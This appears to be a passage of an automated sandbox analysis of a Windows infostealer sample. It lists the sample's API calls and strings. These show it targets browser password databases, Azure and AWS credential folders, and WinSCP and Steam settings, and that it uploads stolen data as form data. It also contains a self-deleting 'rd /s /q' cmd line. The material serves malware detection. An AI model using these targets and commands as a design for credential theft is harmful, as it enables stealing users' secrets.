API String ID: 31276548-0
Opcode ID: 1b2d5af43dd12cc97f1ca22d2a4559b3dc75b8610e382d2f08405efa2324d8b1
Instruction ID: d6f07fd9729eab18bf35d97595002372c1d2e6aa75cde9e8f8970a3912b3b12f
Opcode Fuzzy Hash: 1b2d5af43dd12cc97f1ca22d2a4559b3dc75b8610e382d2f08405efa2324d8b1
Instruction Fuzzy Hash: 09F0A0B7A000186BD2209759FC81D9B77ADEFCA21CB090121FA5993311E2256E1E86BA

Function 0040C009 Relevance: 1.5, APIs: 1, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 0040C04B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 76bf32a98701eed808fdec152c3dcd3fa556dd761d2147bff69bd5c35468af49
Instruction ID: f83c4e979e2241c40376acb44744fe4fe1f605f54e99aba1f5e8c3a0c1513ffb
Opcode Fuzzy Hash: 76bf32a98701eed808fdec152c3dcd3fa556dd761d2147bff69bd5c35468af49
Instruction Fuzzy Hash: 69F06D719083068FC304DF28C984A16BBF1EFC9754F05CA5DE88897301E630D994CB96

Function 0042D98B Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0042D9B4

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a27b26a9cc07503a5ffd4f9d8fd2edf3d2294b961f27338cad1e6b7784a11e9c
Instruction ID: 06ca29c7c77cbb7dcb3cfc013ab395935eb095cd7e1a9a9979d4901d29d8eb17
Opcode Fuzzy Hash: a27b26a9cc07503a5ffd4f9d8fd2edf3d2294b961f27338cad1e6b7784a11e9c
Instruction Fuzzy Hash: 9DE092BB2042009BC310DF28DD91EA677E9EB86300F05456CA985C7251E670FC04C755

Function 00428DDA Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00428DF2

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 113d1b87fdbe9d4d3ad158efa6e221a9b99e2fa62463c5cd1ef1ff41a886c9bb
Instruction ID: f49399131d6cd1a0a0357cdb0235bfa083d093eafebc625f1058b8577526638d
Opcode Fuzzy Hash: 113d1b87fdbe9d4d3ad158efa6e221a9b99e2fa62463c5cd1ef1ff41a886c9bb
Instruction Fuzzy Hash: 42F039B9E012059FEB08CF54D891BD87BB1BB04300F24047DE606DB782DA3499488B80

Function 0040A09E Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00001000,00000000), ref: 0040A0BA

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: b6777f99fcc9ab9d3b0273c25965793aa14402d70d0dc89c73ee46f9b8689617
Instruction ID: 22b8e15c2dc92d2d8ce7db97a0b63f0b975dcbef69a24b4e2dabaf85396e310b
Opcode Fuzzy Hash: b6777f99fcc9ab9d3b0273c25965793aa14402d70d0dc89c73ee46f9b8689617
Instruction Fuzzy Hash: 81E01235340240EBE755D75CDD95F6133D5EB84344F4808387A16DB382EA74ED15C715

Function 0041F6B3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041F6D2

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 074da7e7c8075810696abcef79b98451fad9a9472c3c4834b1dbe4cbc0ff9711
Instruction ID: 328520a2f6c71d951bdf48b5bb8b27dd49798bebe312cf515b58bf2676e38ca3
Opcode Fuzzy Hash: 074da7e7c8075810696abcef79b98451fad9a9472c3c4834b1dbe4cbc0ff9711
Instruction Fuzzy Hash: 77E08CBA70030097D7188B4ADC55F35B3E6ABE8704F18842DA906CB3E5D678EC048600

Function 00405B4B Relevance: 19.9, APIs: 4, Strings: 7, Instructions: 673
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 00406179
memcpy.MSVCRT(00000000,?,00000000), ref: 004061AC
memcpy.MSVCRT(00000000,?,?), ref: 004061D7
memcpy.MSVCRT(?,?,00000000), ref: 0040622A

Strings

token, xrefs: 00405C87, 00405C8D, 00405C9C, 00405CA1
file_name, xrefs: 00405F6E, 00405F74, 00405F84
Content-Disposition: form-data; name=", xrefs: 00405C40, 00405C46, 00405C55, 00405C5A, 00405DD4, 00405DD9, 00405F3C, 00405F41, 0040609C, 004060A1
file_data, xrefs: 004060CE, 004060D4, 004060E4
", xrefs: 00405CCE, 00405CD4, 00405CE4, 00405E43, 00405E48, 00405FAB, 00405FB0, 0040610B, 00406110
------, xrefs: 00405B82, 00405B88, 00405B89, 00405B9F, 00405D5B, 00405D60, 00405EC3, 00405EC8, 00406023, 00406028
build_id, xrefs: 00405E06, 00405E0C, 00405E1C

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memcpy$AllocateHeap
String ID: "$------$Content-Disposition: form-data; name="$build_id$file_data$file_name$token
API String ID: 4068229299-1375094155
Opcode ID: ccfd5a6aefc9422aae94d8b475944c0a34b64018c2f12c8ae1d3fb1001b9740d
Instruction ID: e566b6749127b83421f7d8bd2921eeafd4c76e6b7559269ba93b841b997abff9
Opcode Fuzzy Hash: ccfd5a6aefc9422aae94d8b475944c0a34b64018c2f12c8ae1d3fb1001b9740d
Instruction Fuzzy Hash: 2B2231B93024106FCB45DB9DDC91AAEB3EAAFDA208308403DE019D3362DB749E159B5D

Function 0042AE60 Relevance: 16.8, APIs: 3, Strings: 8, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0042AE7E
memset.MSVCRT ref: 0042AF8E
memset.MSVCRT ref: 0042B075

Strings

msal.cache, xrefs: 0042B11F
Azure\.azure, xrefs: 0042AF5B
*.*, xrefs: 0042AF34
Azure\.IdentityService, xrefs: 0042B146
\.aws\, xrefs: 0042AFE0, 0042AFE6, 0042AFF3
\.azure\, xrefs: 0042AED5, 0042AEDB, 0042AEE8
Azure\.aws, xrefs: 0042B043
\.IdentityService\, xrefs: 0042B0C6, 0042B0CC, 0042B0D9

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2221118986-3645552435
Opcode ID: a7a371ecf0f8076029e4cc7b57d98caedca736390b6fe0b7d350fb9b107a7fc3
Instruction ID: 0a88e78158d51e52cee96e28e865b3ad23bc5ccfa02deae9633e4b981ae8c292
Opcode Fuzzy Hash: a7a371ecf0f8076029e4cc7b57d98caedca736390b6fe0b7d350fb9b107a7fc3
Instruction Fuzzy Hash: 7691B6BAB101005FC704DFACDC92A6A37E9FB89745B040539F919D3312D774EA18CB99

Function 0042D6FE Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExA.SHELL32(?), ref: 0042D844
memset.MSVCRT ref: 0042D864
ExitProcess.KERNEL32(00000000), ref: 0042D87E

Strings

" & exit, xrefs: 0042D786, 0042D78C, 0042D79B
C:\Windows\system32\cmd.exe, xrefs: 0042D810
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 0042D710, 0042D716, 0042D72B, 0042D730
open, xrefs: 0042D7E4

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteExitProcessShellmemset
String ID: " & exit$/c timeout /t 10 & rd /s /q "C:\ProgramData\$C:\Windows\system32\cmd.exe$open
API String ID: 1852908831-1940193709
Opcode ID: 95da33e724ad7f7f1facfc5f5cbbdf1cb13fd9b5e6c9d2578defee88dc884ed4
Instruction ID: 098bc2924f9ee01437336e5800c6ce94c3868001c570cf6b015aab2e16dea32b
Opcode Fuzzy Hash: 95da33e724ad7f7f1facfc5f5cbbdf1cb13fd9b5e6c9d2578defee88dc884ed4
Instruction Fuzzy Hash: 3E418F76B006049BC700DF9EDC81AA973E5BFD9709B544139E818C3322DBB8EA5D8B5D

Function 0042D651 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExA.SHELL32(?), ref: 0042D844
memset.MSVCRT ref: 0042D864
ExitProcess.KERNEL32(00000000), ref: 0042D87E

Strings

" & exit, xrefs: 0042D786, 0042D78C, 0042D79B
C:\Windows\system32\cmd.exe, xrefs: 0042D810
open, xrefs: 0042D7E4

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteExitProcessShellmemset
String ID: " & exit$C:\Windows\system32\cmd.exe$open
API String ID: 1852908831-1505117684
Opcode ID: f39581be4dbb3ba82523aaef3800270a0935aa1f83886992f7c7e9bff6325244
Instruction ID: e551c106cc49a58ed8e142b4f9164b15046ded37baae1d2c715c840eb547d2f3
Opcode Fuzzy Hash: f39581be4dbb3ba82523aaef3800270a0935aa1f83886992f7c7e9bff6325244
Instruction Fuzzy Hash: E6519E76B006048BC304DF9EDC81AAE73E5AFDA6067584139E815C3322DBB8EE5D875D

Function 00414223 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0041423F
memset.MSVCRT ref: 00414258
memset.MSVCRT ref: 00414269
memset.MSVCRT ref: 0041427A
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 004142C2

Strings

Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 004142A2, 004142A8, 004142BC

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset$Open
String ID: Software\Martin Prikryl\WinSCP 2\Configuration
API String ID: 276825008-2822339690
Opcode ID: 875ea9aeca57663236e07e7b8b738bcf569ddb3b5275693e73b7244f09e5574d
Instruction ID: a4149cbd55dcf9ec5f86b160d7cd1004748f282e2d089feb1e299a34521fe547
Opcode Fuzzy Hash: 875ea9aeca57663236e07e7b8b738bcf569ddb3b5275693e73b7244f09e5574d
Instruction Fuzzy Hash: 9B11B2B2C511246BD720DBA6DC8DD9B3B7CEB8A310F04407EB519DB240E6B59914CBE5

Function 00409E2C Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 186
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040A046

Strings

Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 00409F4B, 00409F51, 00409F65
Sec-WebSocket-Version: 13, xrefs: 00409F9C, 00409FA2, 00409FB6
HTTP/1.1Host: , xrefs: 00409EAA, 00409EB0, 00409EC1
GET , xrefs: 00409E6D, 00409E73, 00409E8F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: send
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $GET
API String ID: 2809346765-3104479224
Opcode ID: 8a2df545890ebcd2ccde8c9d34e4fad38da15e8cd78b0d0eae1f2fea33df3467
Instruction ID: f09d3922218363589a7554bb9a070cc817d1bc8e78065892c14d31b0da745550
Opcode Fuzzy Hash: 8a2df545890ebcd2ccde8c9d34e4fad38da15e8cd78b0d0eae1f2fea33df3467
Instruction Fuzzy Hash: DB516876644101AFC324CB5CECD5F9A73D9AFC6214F0C4538E41AC3351E6B8AE28C75A

Function 0040CB8C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,000F423F), ref: 0040CBB0
RtlFreeHeap.NTDLL(00000000,00000000,?), ref: 0040CCB4
DeleteFileA.KERNEL32(00000000), ref: 0040CCCD

Strings

_passwords.db, xrefs: 0040CC24, 0040CC2A, 0040CC37

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDeleteFileFree
String ID: _passwords.db
API String ID: 2485951164-1485422284
Opcode ID: a7043d1debc52e48b3003d44f97e9eac390a076a658ce9e3e3632af536d91c4e
Instruction ID: b37c3980acad7b287a63fd84c6568bc53c6d2d1415935e73d4ad3cc0f33b3f93
Opcode Fuzzy Hash: a7043d1debc52e48b3003d44f97e9eac390a076a658ce9e3e3632af536d91c4e
Instruction Fuzzy Hash: 85414EB66401159BD704EB6CEC95E6E77F9FFCA7047084428E419D3311CA34AA26CB9E

Function 0040E827 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040E9D2

Strings

C:\ProgramData\, xrefs: 0040E8D3, 0040E8D9, 0040E8EB
\key4.db, xrefs: 0040E865, 0040E86B, 0040E87A

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: C:\ProgramData\$\key4.db
API String ID: 1304948518-833217315
Opcode ID: 8d79dbb0ad1e7ac8fa06e4d058e647d1ef10b1d8f58137d4c59b0f9ceb188360
Instruction ID: 6ad7053288e18fb2becd3ba35519820a6c95b5cb6f0518f62bf394652a1526bb
Opcode Fuzzy Hash: 8d79dbb0ad1e7ac8fa06e4d058e647d1ef10b1d8f58137d4c59b0f9ceb188360
Instruction Fuzzy Hash: 79517EB67401149FC704CB9CDDC1FAD33BAEFC9604B084428E406E7356DA78AE25CB9A

Function 0040DDC3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040DEE9

Strings

C:\ProgramData\, xrefs: 0040DDEB, 0040DDF1, 0040DE03
$|X, xrefs: 0040DF31

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: $|X$C:\ProgramData\
API String ID: 1304948518-2556949440
Opcode ID: b8ece8a38ac88d1a9e8b8c62dba14a6124fe639d5abe7aed50bc7201f7af8475
Instruction ID: 210b412480b9b1f6e40c5c6a5c6a986acd163ec9f824bb5448706ba36133746a
Opcode Fuzzy Hash: b8ece8a38ac88d1a9e8b8c62dba14a6124fe639d5abe7aed50bc7201f7af8475
Instruction Fuzzy Hash: 5D4197BAB421109FD714DB6CDC81BDD73F5AF8A304B094565E806D3321DB74AE24CB99

Function 0040E0C8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040E1F0

Strings

C:\ProgramData\, xrefs: 0040E0F5, 0040E0FB, 0040E10D
$|X, xrefs: 0040E20B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: $|X$C:\ProgramData\
API String ID: 1304948518-2556949440
Opcode ID: 90415b50240b5b3216ec83fa10819a54488d92d7aab5751acc4f0ee742999494
Instruction ID: a0ca7a678a9fc7aef83b92d14bb0b022872ceb26902699c26760bdc125b8b43a
Opcode Fuzzy Hash: 90415b50240b5b3216ec83fa10819a54488d92d7aab5751acc4f0ee742999494
Instruction Fuzzy Hash: 1C415EB67420109BDB05CB9CDCD1FDD77B5BF8A304B094839E40AE3361DA74AE298B59

Function 0040E26E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0040E382

Strings

$|X, xrefs: 0040E3A9
_history.db, xrefs: 0040E2EB, 0040E2F1, 0040E301, 0040E306

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: $|X$_history.db
API String ID: 4033686569-3470021098
Opcode ID: a307596c9b0dbdd293c27af80e64e3424aa25886e0e5d8551a5afdc3c504056d
Instruction ID: de087bb8a02b9b5954df5ad64bbb9d21ead85b46a7a89c4a5d4623f81effc206
Opcode Fuzzy Hash: a307596c9b0dbdd293c27af80e64e3424aa25886e0e5d8551a5afdc3c504056d
Instruction Fuzzy Hash: 404163BAA411049FCB05CFA8DC81AEDB7F1FF89304B048429E815D3315DB78AA15CF59

Function 0040DF3F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0040E049

Strings

_webdata.db, xrefs: 0040DFB6, 0040DFBC, 0040DFCC
$|X, xrefs: 0040E070

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: $|X$_webdata.db
API String ID: 4033686569-158154304
Opcode ID: b2a32d48ddfb3c47622254f12c8ef012da89dcf3320ef21effe23d5c0090a455
Instruction ID: 7ce97649fd713c523dbf5e134aa6649b44230df0f9e0713be51a9fe393079403
Opcode Fuzzy Hash: b2a32d48ddfb3c47622254f12c8ef012da89dcf3320ef21effe23d5c0090a455
Instruction Fuzzy Hash: 4D4183BAA411149FCB04CFACDC81ADDB7F5BF89300B098415E815E7325DB78AA15CF99

Function 0041FEC1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041FF42

Strings

%s\%s, xrefs: 0041FEDB, 0041FEE1, 0041FF1C, 0041FF21
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041FEF9, 0041FEFF, 0041FF1B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: %s\%s$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 71445658-1969869098
Opcode ID: c6c32dde087a60be459981c5a25d9cdae22c500a76205aa6044837812575c95c
Instruction ID: d72de999b2892b00457b4301201e501fe1f29f5046f65ed3e118f347551177f9
Opcode Fuzzy Hash: c6c32dde087a60be459981c5a25d9cdae22c500a76205aa6044837812575c95c
Instruction Fuzzy Hash: 6C01D8B96002015FD324DF58DC91E6777E9FB85304F04002DE946D3262EA74A9088B65

Function 004295FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042961E
RegOpenKeyExA.KERNEL32(80000001,Software\Valve\Steam,00000000,00020119,?), ref: 00429660

Strings

Software\Valve\Steam, xrefs: 0042963D, 00429643, 0042965A

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Openmemset
String ID: Software\Valve\Steam
API String ID: 180050240-490694136
Opcode ID: a59053157d78675f8bf7816a6b86b3a91a7600940e0728385377ffd210f69d38
Instruction ID: a33e435cb44d62256079c35c96f443ad56b4672447584121e235a2f7f769d0df
Opcode Fuzzy Hash: a59053157d78675f8bf7816a6b86b3a91a7600940e0728385377ffd210f69d38
Instruction Fuzzy Hash: A3F0C8B6A402056BD314DB99DC86DBB3678EB95300F04413CB90997341E6649E14C7A5

Function 0041FDC1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041FE30

Strings

?, xrefs: 0041FDF2
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041FE0F, 0041FE15, 0041FE28

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: ?$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 71445658-2633480413
Opcode ID: d320a3521d35f168751300790cb266167562fdbf6311ac38afecd85639501f0b
Instruction ID: c8f2481e82a16eca426fec0ccf16404ca92c35e872ef3ce0eab83674d6df9e99
Opcode Fuzzy Hash: d320a3521d35f168751300790cb266167562fdbf6311ac38afecd85639501f0b
Instruction Fuzzy Hash: 7001D6B5A00204AFD3249F19EC94E2BBBE8FFC5345F05851EE84687391DA749804CB55

Function 00420420 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042043C
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119), ref: 0042047D

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0042045B, 00420461, 00420477

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Openmemset
String ID: SOFTWARE\Microsoft\Cryptography
API String ID: 180050240-1514646153
Opcode ID: 2ad32eb8251b01e98074a0d0486dcfb936fe310c63f78620c8fe9f07967d2f10
Instruction ID: 704948cce47b6def0a0afe579a61564877315a8cc2ef23d99e61b0d3b5485971
Opcode Fuzzy Hash: 2ad32eb8251b01e98074a0d0486dcfb936fe310c63f78620c8fe9f07967d2f10
Instruction Fuzzy Hash: E1F0F6766412116BD214DB6ADC4AD2B7A6CFBC7314F05813CF818C7302D674A914C766

Function 004235EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00423615
Process32First.KERNEL32(00000000), ref: 00423622

Strings

5$#w, xrefs: 00423605

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID: 5$#w
API String ID: 2353314856-2839390797
Opcode ID: bae8fede1a8106b78921d416f13b3c645951278458bb2964471e672d63109a45
Instruction ID: 5be2964b6b9545829f7e644963e2359ac3e23bc5df8f00164b782a01543cc960
Opcode Fuzzy Hash: bae8fede1a8106b78921d416f13b3c645951278458bb2964471e672d63109a45
Instruction Fuzzy Hash: A7F06DB5342215AFE7A0DB1DED85F6673E8EBCA304F550438AA04C7382DA74DD208765

Function 004232FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042331D
Process32First.KERNEL32(00000000), ref: 0042332A

Strings

N-`, xrefs: 0042330D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID: N-`
API String ID: 2353314856-3407581833
Opcode ID: eace18cfdea52badcbf0b24e5d0a25599bcf84b3f0cedbea6f9fb6112a0eaf8b
Instruction ID: bfc0c55214930d693d6a9e4c20c5a6b406b452c8cd58e231ce84683c647d9d8e
Opcode Fuzzy Hash: eace18cfdea52badcbf0b24e5d0a25599bcf84b3f0cedbea6f9fb6112a0eaf8b
Instruction Fuzzy Hash: 2EE012753021556BD750DF6EDC86F5B36ACAF86348F094038B504DB3D2DA609C288755

Function 00421C6F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Gdiplus.dll), ref: 00421C7F

Strings

Gdiplus.dll, xrefs: 00421C7A
3}*X, xrefs: 00421C6F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: 3}*X$Gdiplus.dll
API String ID: 1029625771-3385796832
Opcode ID: 83f535675c73549619932c820c058beef8f2ba26ac9fe6155ac65687aab25696
Instruction ID: 3fe45f8394e78795334f831f8f6b676fc398847a8e65ceccf9ffb3b8370cb1d8
Opcode Fuzzy Hash: 83f535675c73549619932c820c058beef8f2ba26ac9fe6155ac65687aab25696
Instruction Fuzzy Hash: C0E08C3930060ADFC704DF65C894E1873A2FB9D30431580B9C8428B322E77AA80ACB88

Function 004236F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

TerminateProcess.KERNEL32(?,00000000), ref: 004236FE

Strings

5$#w, xrefs: 004236F0
5$#w, xrefs: 00423700

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID: 5$#w$5$#w
API String ID: 560597551-2883133298
Opcode ID: 882f83642efd418665423add51b5c1a36d27814765caa829c4ac35b1579d154f
Instruction ID: 7c70d1fc7905766f050714cb572277ef9d259369ec2c40e01a949b1e957500cb
Opcode Fuzzy Hash: 882f83642efd418665423add51b5c1a36d27814765caa829c4ac35b1579d154f
Instruction Fuzzy Hash: 1BC04CE76450007BE1629BD9ED82B3B23A4679EA80FA80415B321C26D0D618D6115A1A

Function 0040E4B8 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

